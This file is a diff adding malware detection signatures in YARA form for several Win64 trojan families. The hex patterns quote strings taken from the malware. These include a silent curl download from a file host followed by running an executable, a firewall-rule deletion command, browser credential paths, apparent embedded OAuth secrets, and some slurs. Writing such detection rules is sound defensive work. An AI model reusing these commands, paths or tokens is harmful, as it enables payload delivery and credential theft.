b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_C_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win64_Tedy_C_MTB{ + meta: + description = "Trojan:Win64/Tedy.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 00 " + + strings : + $a_01_0 = {6f 6c 6c 79 64 62 67 2e 65 78 65 } //2 ollydbg.exe + $a_01_1 = {78 36 34 64 62 67 2e 65 78 65 } //2 x64dbg.exe + $a_01_2 = {78 33 32 64 62 67 2e 65 78 65 } //2 x32dbg.exe + $a_01_3 = {50 72 6f 63 65 73 73 20 48 61 63 6b 65 72 20 32 } //2 Process Hacker 2 + $a_01_4 = {57 69 72 65 73 68 61 72 6b } //2 Wireshark + $a_01_5 = {40 46 41 43 4b 20 59 4f 55 20 44 6f 6e 6b 65 79 2e } //3 @FACK YOU Donkey. + $a_01_6 = {6e 65 74 73 68 20 61 64 76 66 69 72 65 77 61 6c 6c 20 66 69 72 65 77 61 6c 6c 20 64 65 6c 65 74 65 20 72 75 6c 65 20 6e 61 6d 65 } //3 netsh advfirewall firewall delete rule name + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*3+(#a_01_6 & 1)*3) >=14 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GPP_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GPP_MTB.yar new file mode 100644 index 0000000000..d6e1dd182a --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GPP_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_GPP_MTB{ + meta: + description = "Trojan:Win64/Tedy.GPP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 43 56 45 2d 32 30 32 34 2d 32 30 36 35 36 5c 45 78 70 6c 5c 78 36 34 5c 52 65 6c 65 61 73 65 } //1 source\repos\CVE-2024-20656\Expl\x64\Release + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVB_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVB_MTB.yar new file mode 100644 index 0000000000..2c22ff317e --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Tedy_GVB_MTB{ + meta: + description = "Trojan:Win64/Tedy.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {63 75 72 6c 20 2d 2d 73 69 6c 65 6e 74 20 68 74 74 70 73 3a 2f 2f 66 69 6c 65 73 2e 63 61 74 62 6f 78 2e 6d 6f 65 2f [0-10] 20 2d 2d 6f 75 74 70 75 74 20 43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 5c [0-10] 20 3e 6e 75 6c 20 32 3e 26 31 } //2 + $a_03_1 = {63 64 20 43 3a 5c 57 69 6e 64 6f 77 73 5c 54 65 6d 70 5c 20 26 26 20 [0-10] 2e 65 78 65 20 [0-10] 2e 73 79 73 20 3e 6e 75 6c 20 32 3e 26 31 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVD_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVD_MTB.yar new file mode 100644 index 0000000000..aec0d234cd --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_GVD_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_Tedy_GVD_MTB{ + meta: + description = "Trojan:Win64/Tedy.GVD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,26 00 26 00 05 00 00 " + + strings : + $a_01_0 = {0f b6 45 de 83 e0 01 88 45 f6 83 7d f8 00 7e 1a 0f b6 45 f7 32 45 f6 0f b6 c0 0f b6 55 df 83 e2 01 39 d0 74 4f } //30 + $a_01_1 = {2a 2a 55 73 65 72 3a 2a 2a 20 25 73 5c 6e 2a 2a 43 6f 6d 70 75 74 65 72 3a 2a 2a 20 25 73 5c 6e 2a 2a 49 50 3a 2a 2a 20 25 73 } //2 **User:** %s\n**Computer:** %s\n**IP:** %s + $a_00_2 = {5c 00 47 00 6f 00 6f 00 67 00 6c 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 } //3 \Google\Chrome\User Data + $a_00_3 = {5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 64 00 67 00 65 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 } //3 \Microsoft\Edge\User Data + $a_00_4 = {5c 00 59 00 61 00 6e 00 64 00 65 00 78 00 5c 00 59 00 61 00 6e 00 64 00 65 00 78 00 42 00 72 00 6f 00 77 00 73 00 65 00 72 00 5c 00 55 00 73 00 65 00 72 00 20 00 44 00 61 00 74 00 61 00 } //3 \Yandex\YandexBrowser\User Data + condition: + ((#a_01_0 & 1)*30+(#a_01_1 & 1)*2+(#a_00_2 & 1)*3+(#a_00_3 & 1)*3+(#a_00_4 & 1)*3) >=38 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_KK_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_KK_MTB.yar new file mode 100644 index 0000000000..966255d0e8 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_KK_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Tedy_KK_MTB{ + meta: + description = "Trojan:Win64/Tedy.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_01_0 = {48 89 5d e0 48 89 5c 24 50 48 89 5c 24 48 48 89 5c 24 40 48 89 5c 24 38 89 5c 24 30 4c 89 74 24 28 4c 89 7c 24 20 4c 8b ce 45 33 c0 ba ff ff 1f 00 48 8d 4d e0 ff } //5 + $a_01_1 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 5f 63 6f 6f 6b 69 65 73 2e 74 78 74 } //3 chrome_decrypt_cookies.txt + $a_01_2 = {63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 5f 70 61 79 6d 65 6e 74 73 2e 74 78 74 } //2 chrome_decrypt_payments.txt + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_NT_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_NT_MTB.yar index ef98f0738b..41885e6b38 100644 --- a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_NT_MTB.yar +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_NT_MTB.yar @@ -11,6 +11,18 @@ rule Trojan_Win64_Tedy_NT_MTB{ } rule Trojan_Win64_Tedy_NT_MTB_2{ + meta: + description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {49 8b c0 48 f7 e1 48 c1 ea ?? 48 8d 04 92 48 2b c8 0f b6 44 0d ?? 4b 8d 0c 39 41 00 41 ?? 49 8b c0 48 f7 e1 48 c1 ea } //3 + $a_01_1 = {72 75 6e 61 73 } //1 runas + $a_01_2 = {42 61 63 6b 44 6f 6f 72 2e 70 64 62 } //1 BackDoor.pdb + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} +rule Trojan_Win64_Tedy_NT_MTB_3{ meta: description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " @@ -21,7 +33,7 @@ rule Trojan_Win64_Tedy_NT_MTB_2{ ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1) >=4 } -rule Trojan_Win64_Tedy_NT_MTB_3{ +rule Trojan_Win64_Tedy_NT_MTB_4{ meta: description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -35,7 +47,18 @@ rule Trojan_Win64_Tedy_NT_MTB_3{ ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule Trojan_Win64_Tedy_NT_MTB_4{ +rule Trojan_Win64_Tedy_NT_MTB_5{ + meta: + description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {48 8d 0d 8f 88 02 00 48 89 44 24 ?? 48 89 0b 48 8d 53 ?? 0f 57 c0 c6 44 24 ?? 01 48 8d 4c 24 ?? 0f 11 02 e8 } //2 + $a_03_1 = {45 33 c9 4c 8d 44 24 ?? ba f4 01 00 00 48 8d 4c 24 ?? e8 f4 5b ff ff 48 8d 15 ed 6b 03 00 48 8d 4c 24 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} +rule Trojan_Win64_Tedy_NT_MTB_6{ meta: description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " @@ -47,7 +70,7 @@ rule Trojan_Win64_Tedy_NT_MTB_4{ ((#a_03_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 } -rule Trojan_Win64_Tedy_NT_MTB_5{ +rule Trojan_Win64_Tedy_NT_MTB_7{ meta: description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 00 " @@ -60,7 +83,7 @@ rule Trojan_Win64_Tedy_NT_MTB_5{ ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 } -rule Trojan_Win64_Tedy_NT_MTB_6{ +rule Trojan_Win64_Tedy_NT_MTB_8{ meta: description = "Trojan:Win64/Tedy.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGL_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGL_MTB.yar new file mode 100644 index 0000000000..0c820cf7cf --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_PGL_MTB{ + meta: + description = "Trojan:Win64/Tedy.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 8b 44 24 50 48 3b c5 7d 17 48 05 ?? ?? ?? ?? 48 8d 4c 24 40 48 89 44 24 40 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGT_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGT_MTB.yar new file mode 100644 index 0000000000..05fa9029db --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_PGT_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win64_Tedy_PGT_MTB{ + meta: + description = "Trojan:Win64/Tedy.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {4d 00 79 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 41 00 70 00 70 } //1 + $a_01_1 = {30 01 48 8d 49 01 48 83 eb 01 75 f4 } //4 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*4) >=5 + +} +rule Trojan_Win64_Tedy_PGT_MTB_2{ + meta: + description = "Trojan:Win64/Tedy.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 33 c4 48 89 84 24 a0 03 00 00 48 8b da 4c 8b f1 48 89 94 24 c0 00 00 00 45 33 ff 44 89 7c 24 30 0f 57 c0 0f 11 02 4c 89 7a 10 4c 89 7a 18 41 b8 0f 05 00 00 48 8d 15 ?? ?? ?? 00 48 8b cb } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAE_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAE_MTB.yar new file mode 100644 index 0000000000..ca0acca820 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_STAE_MTB{ + meta: + description = "Trojan:Win64/Tedy.STAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {89 75 a7 48 8d 1d ba bb 00 00 0f 57 c0 0f 11 45 af 8b d6 48 89 55 bf 41 b8 0f 00 00 00 4c 89 45 c7 88 55 af c7 45 a7 01 00 00 00 b1 3e } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAO_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAO_MTB.yar new file mode 100644 index 0000000000..f918528ab0 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_STAO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_STAO_MTB{ + meta: + description = "Trojan:Win64/Tedy.STAO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {48 81 ec e0 06 00 00 0f 29 70 c8 0f 29 78 b8 44 0f 29 40 a8 44 0f 29 48 98 48 8b 05 01 c5 00 00 48 33 c4 48 89 85 90 05 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_TMX_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_TMX_MTB.yar new file mode 100644 index 0000000000..96a81ada02 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_TMX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Tedy_TMX_MTB{ + meta: + description = "Trojan:Win64/Tedy.TMX!MTB,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {48 83 c0 10 31 d2 48 3b 95 f0 02 00 00 48 8d 95 f8 02 00 00 48 0f 41 ca 4c 8b 09 48 8d 8d } //1 + $a_01_1 = {70 69 6e 74 65 73 74 2e 65 78 65 } //1 pintest.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WIV_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WIV_MTB.yar new file mode 100644 index 0000000000..cbdb122591 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WIV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_WIV_MTB{ + meta: + description = "Trojan:Win64/Tedy.WIV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {45 2b c6 41 8b c0 c1 e8 18 32 c1 88 85 ?? 02 00 00 41 8b c0 c1 e8 10 32 c1 88 85 ?? 02 00 00 41 8b c0 c1 e8 08 32 c1 88 85 ?? 02 00 00 44 32 c1 44 88 85 43 02 00 00 33 c0 0f 57 c9 f3 0f 7f 8d 50 02 00 00 48 89 85 60 02 00 00 88 4c 24 50 4c 8d 44 24 50 33 d2 48 8d 8d 50 02 00 00 e8 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WL_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WL_MTB.yar new file mode 100644 index 0000000000..78e5141cd4 --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_WL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Tedy_WL_MTB{ + meta: + description = "Trojan:Win64/Tedy.WL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 60 00 00 00 48 8b 40 10 48 89 05 9f 0d 01 00 31 c9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ZXU_MTB.yar b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ZXU_MTB.yar new file mode 100644 index 0000000000..ffda03ec7a --- /dev/null +++ b/Trojan/Win64/Tedy/Trojan_Win64_Tedy_ZXU_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Tedy_ZXU_MTB{ + meta: + description = "Trojan:Win64/Tedy.ZXU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_81_0 = {21 20 66 75 64 20 63 61 74 20 73 68 69 74 20 61 6c 73 6f 20 66 75 63 6b 20 6e 69 67 67 65 72 73 20 66 72 66 72 66 72 2e } //6 ! fud cat shit also fuck niggers frfrfr. + $a_81_1 = {30 58 59 5a 41 58 41 59 } //5 0XYZAXAY + condition: + ((#a_81_0 & 1)*6+(#a_81_1 & 1)*5) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/TestZero/Trojan_Win64_TestZero_A.yar b/Trojan/Win64/TestZero/Trojan_Win64_TestZero_A.yar new file mode 100644 index 0000000000..ce2bc2da7c --- /dev/null +++ b/Trojan/Win64/TestZero/Trojan_Win64_TestZero_A.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_TestZero_A{ + meta: + description = "Trojan:Win64/TestZero.A,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_03_0 = {5c 6f 62 6a 5c 52 65 6c 65 ?? 73 65 5c 52 75 6e 50 57 53 5f 6c 69 62 2e 70 64 62 } //1 + $a_01_1 = {43 4c 52 5f 6c 69 62 2e 64 6c 6c } //1 CLR_lib.dll + $a_01_2 = {52 00 75 00 6e 00 50 00 57 00 53 00 5f 00 6c 00 69 00 62 00 2e 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 } //1 RunPWS_lib.Program + condition: + ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/TigerRAT/Trojan_Win64_TigerRAT_KK_MTB.yar b/Trojan/Win64/TigerRAT/Trojan_Win64_TigerRAT_KK_MTB.yar new file mode 100644 index 0000000000..86a800a12c --- /dev/null +++ b/Trojan/Win64/TigerRAT/Trojan_Win64_TigerRAT_KK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_TigerRAT_KK_MTB{ + meta: + description = "Trojan:Win64/TigerRAT.KK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 00 " + + strings : + $a_01_0 = {32 c8 41 88 4c 10 fe 0f b6 4a fe 0f b6 42 ff c0 e1 07 d0 e8 32 c8 41 88 4c 10 ff 0f b6 72 ff 40 c0 e6 07 49 83 e9 01 75 } //20 + $a_01_1 = {32 d8 8b c1 c1 f8 02 24 01 32 d8 8b c1 c1 f8 03 24 01 32 d8 8b c1 c1 f8 04 24 01 32 d8 8b c1 c1 f8 05 24 01 32 d8 8b c1 c1 f8 06 24 01 c1 f9 07 32 d8 80 e1 01 32 d9 48 83 ef 01 75 } //10 + condition: + ((#a_01_0 & 1)*20+(#a_01_1 & 1)*10) >=30 + +} \ No newline at end of file diff --git a/Trojan/Win64/Topozuy/Trojan_Win64_Topozuy_A.yar b/Trojan/Win64/Topozuy/Trojan_Win64_Topozuy_A.yar new file mode 100644 index 0000000000..4cb7e59b17 --- /dev/null +++ b/Trojan/Win64/Topozuy/Trojan_Win64_Topozuy_A.yar @@ -0,0 +1,18 @@ + +rule Trojan_Win64_Topozuy_A{ + meta: + description = "Trojan:Win64/Topozuy.A,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 00 " + + strings : + $a_01_0 = {66 42 59 6c 58 46 31 4d 62 44 59 6d 54 68 30 74 5a 51 3d 3d } //2 fBYlXF1MbDYmTh0tZQ== + $a_01_1 = {00 52 78 67 77 58 6c 63 55 00 } //2 刀杸塷捬U + $a_01_2 = {64 65 63 72 79 70 74 52 4b 4e 53 74 37 } //1 decryptRKNSt7 + $a_01_3 = {6c 61 75 6e 63 68 54 6f 72 52 4b 4e 53 74 37 } //1 launchTorRKNSt7 + $a_01_4 = {70 72 65 70 72 6f 63 65 73 73 65 64 5f 74 72 69 61 67 65 } //1 preprocessed_triage + $a_01_5 = {63 68 65 63 6b 4e 65 74 77 6f 72 6b 41 64 61 70 74 65 72 4d 61 63 } //1 checkNetworkAdapterMac + $a_01_6 = {63 68 65 63 6b 56 6d 50 72 6f 63 65 73 73 65 73 } //1 checkVmProcesses + $a_01_7 = {68 61 73 48 79 70 65 72 76 69 73 6f 72 43 70 75 46 6c 61 67 } //1 hasHypervisorCpuFlag + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/Toughprogress/Trojan_Win64_Toughprogress_A.yar b/Trojan/Win64/Toughprogress/Trojan_Win64_Toughprogress_A.yar new file mode 100644 index 0000000000..90ae106672 --- /dev/null +++ b/Trojan/Win64/Toughprogress/Trojan_Win64_Toughprogress_A.yar @@ -0,0 +1,20 @@ + +rule Trojan_Win64_Toughprogress_A{ + meta: + description = "Trojan:Win64/Toughprogress.A,SIGNATURE_TYPE_PEHSTR_EXT,fffffff0 03 fffffff0 03 0a 00 00 " + + strings : + $a_01_0 = {f1 d5 00 fa 4c 62 cc f4 0f 0b } //1000 + $a_01_1 = {66 00 66 00 35 00 37 00 39 00 36 00 34 00 30 00 39 00 36 00 63 00 61 00 64 00 63 00 31 00 61 00 38 00 37 00 33 00 33 00 63 00 66 00 35 00 36 00 36 00 62 00 34 00 31 00 63 00 39 00 35 00 32 00 38 00 63 00 38 00 39 00 64 00 33 00 30 00 65 00 64 00 65 00 63 00 38 00 36 00 33 00 32 00 36 00 63 00 37 00 32 00 33 00 39 00 33 00 32 00 63 00 31 00 65 00 37 00 39 00 65 00 62 00 66 00 30 00 40 00 67 00 72 00 6f 00 75 00 70 00 2e 00 63 00 61 00 6c 00 65 00 6e 00 64 00 61 00 72 00 2e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 2e 00 63 00 6f 00 6d 00 } //100 ff57964096cadc1a8733cf566b41c9528c89d30edec86326c723932c1e79ebf0@group.calendar.google.com + $a_01_2 = {31 30 34 30 37 35 36 32 35 31 33 39 2d 6c 35 33 6b 38 33 70 62 36 6a 62 62 63 32 71 62 72 65 6f 34 69 35 61 30 76 65 70 65 6e 34 31 6a 2e 61 70 70 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d } //100 104075625139-l53k83pb6jbbc2qbreo4i5a0vepen41j.apps.googleusercontent.com + $a_03_3 = {65 00 76 00 65 00 6e 00 74 00 73 00 3f 00 74 00 69 00 6d 00 65 00 4d 00 69 00 6e 00 3d 00 32 00 30 00 ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? 54 00 30 00 30 00 25 00 33 00 41 00 30 00 30 00 25 00 33 00 41 00 30 00 30 00 5a 00 26 00 74 00 69 00 6d 00 65 00 4d 00 61 00 78 00 3d 00 32 00 30 00 ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? 2d 00 ?? ?? ?? ?? 54 00 32 00 33 00 25 00 33 00 41 00 35 00 39 00 25 00 33 00 41 00 35 00 39 00 5a 00 26 00 73 00 69 00 6e 00 67 00 6c 00 65 00 45 00 76 00 65 00 6e 00 74 00 73 00 3d 00 74 00 72 00 75 00 65 00 26 00 6f 00 72 00 64 00 65 00 72 00 42 00 79 00 3d 00 73 00 74 00 61 00 72 00 74 00 54 00 69 00 6d 00 65 00 } //5 + $a_01_4 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 61 00 70 00 69 00 2e 00 69 00 70 00 69 00 66 00 79 00 2e 00 6f 00 72 00 67 00 90 00 01 00 02 00 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 90 00 00 00 } //2 + $a_01_5 = {7b 00 38 00 63 00 65 00 63 00 35 00 38 00 61 00 65 00 2d 00 30 00 37 00 61 00 31 00 2d 00 31 00 31 00 64 00 39 00 2d 00 62 00 31 00 35 00 65 00 2d 00 30 00 30 00 30 00 64 00 35 00 36 00 62 00 66 00 65 00 36 00 65 00 65 00 7d 00 } //2 {8cec58ae-07a1-11d9-b15e-000d56bfe6ee} + $a_01_6 = {2f 00 65 00 76 00 65 00 6e 00 74 00 73 00 2f 00 90 00 01 00 02 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 00 77 00 77 00 2e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 61 00 70 00 69 00 73 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 61 00 6c 00 65 00 6e 00 64 00 61 00 72 00 2f 00 76 00 33 00 2f 00 63 00 61 00 6c 00 65 00 6e 00 64 00 61 00 72 00 73 00 2f 00 90 00 00 00 } //2 + $a_01_7 = {47 4f 43 53 50 58 2d 37 6c 68 5a 7a 64 61 49 54 52 72 52 30 37 5f 6d 51 49 55 6f 70 66 69 5f 6e 52 49 4e } //2 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 + $a_01_8 = {31 2f 2f 30 67 6c 5f 64 71 54 77 5a 58 53 47 63 43 67 59 49 41 52 41 41 47 42 41 53 4e 77 46 2d 4c 39 49 72 70 71 77 50 6b 5f 73 49 72 4a 38 77 59 4c 35 66 77 53 6f 65 4d 34 41 42 47 62 73 6e 4d 52 47 67 32 44 45 44 4b 74 45 52 4b 37 49 62 42 59 59 6c 52 78 65 6b 6f 73 6e 78 76 71 5f 42 49 79 42 49 71 31 34 } //2 1//0gl_dqTwZXSGcCgYIARAAGBASNwF-L9IrpqwPk_sIrJ8wYL5fwSoeM4ABGbsnMRGg2DEDKtERK7IbBYYlRxekosnxvq_BIyBIq14 + $a_01_9 = {52 65 74 70 6f 6c 69 6e 65 56 31 } //2 RetpolineV1 + condition: + ((#a_01_0 & 1)*1000+(#a_01_1 & 1)*100+(#a_01_2 & 1)*100+(#a_03_3 & 1)*5+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2) >=1008 + +} \ No newline at end of file diff --git a/Trojan/Win64/Ulise/Trojan_Win64_Ulise_AUL_MTB.yar b/Trojan/Win64/Ulise/Trojan_Win64_Ulise_AUL_MTB.yar new file mode 100644 index 0000000000..b82f824502 --- /dev/null +++ b/Trojan/Win64/Ulise/Trojan_Win64_Ulise_AUL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Ulise_AUL_MTB{ + meta: + description = "Trojan:Win64/Ulise.AUL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 fc 48 63 d0 48 8b 45 e0 48 01 d0 0f b6 10 8b 45 fc 48 63 c8 48 8b 45 e0 48 01 c8 83 f2 55 88 10 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRAT_PAHM_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRAT_PAHM_MTB.yar new file mode 100644 index 0000000000..044d66c270 --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRAT_PAHM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_ValleyRAT_PAHM_MTB{ + meta: + description = "Trojan:Win64/ValleyRAT.PAHM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {48 8d 4c 24 40 ?? ?? 48 8b 44 24 40 48 2b 44 24 30 0f 57 c9 f2 48 0f 2a c8 0f 57 c0 f2 48 0f 2a 44 24 38 f2 0f 5e c8 66 0f 2f f1 } //2 + $a_03_1 = {48 8b 44 24 48 48 2b 44 24 30 0f 57 c9 f2 48 0f 2a c8 0f 57 c0 f2 48 